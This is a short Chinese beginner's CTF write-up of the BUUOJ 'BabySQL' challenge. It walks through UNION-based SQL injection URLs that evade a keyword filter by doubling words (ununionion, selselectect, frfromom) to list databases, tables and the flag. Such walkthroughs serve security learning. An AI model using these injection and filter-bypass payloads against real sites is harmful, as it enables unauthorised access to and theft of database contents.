[极客大挑战 2019]BabySQL
小白入门ctf记录: 这是一道可在 buuoj.cn/ 上面找到的基础赛题。
开启环境后,随便写点啥试试
果不其然是不对的....
然后尝试注入
http://44666cd9-9f43-40af-9b3f-54bd9e05186b.node4.buuoj.cn:81/check.php?
password=admin&username=admin' or 1=1 %23
出现如下报错
好像or没起作用,为啥呢
估计是过滤掉了,改改
http://44666cd9-9f43-40af-9b3f-54bd9e05186b.node4.buuoj.cn:81/check.php?
password=admin&username=admin' oorr 1=1 %23
这样是work的
但这好像还没完,继续尝试
http://44666cd9-9f43-40af-9b3f-54bd9e05186b.node4.buuoj.cn:81/check.php?password=admin&username=12345678' ununionion selselectect 1,2,3 %23
看出回显的是2,3的位置,先试试把数据库都弄出来
http://44666cd9-9f43-40af-9b3f-54bd9e05186b.node4.buuoj.cn:81/check.php?password=admin&username=12345678' ununionion selselectect 1,(selselectect group_concat(schema_name) frfromom infoorrmation_schema.schemata),3 %23
出来三个嫌疑最大的
基于玄学,先看看ctf数据库里有什么表
http://44666cd9-9f43-40af-9b3f-54bd9e05186b.node4.buuoj.cn:81/check.php?password=admin&username=12345678'
ununionion selselectect 1,(selselectect group_concat(table_name)
frfromom infoorrmation_schema.tables whwhereere table_schema='ctf'),3 %23
可以看到ctf数据库里面有个叫做Flag的table,然后看了看Flag这个表里面只有一个column叫做flag,真相只有一个!
最后构造如下url
http://44666cd9-9f43-40af-9b3f-54bd9e05186b.node4.buuoj.cn:81/check.php?password=admin&username=12345678'
ununionion selselectect 1,(selselectect group_concat(table_name)
frfromom infoorrmation_schema.tables whwhereere table_schema='ctf'),
(selselectect group_concat(flag) frfromom ctf.Flag) %23
成功得到flag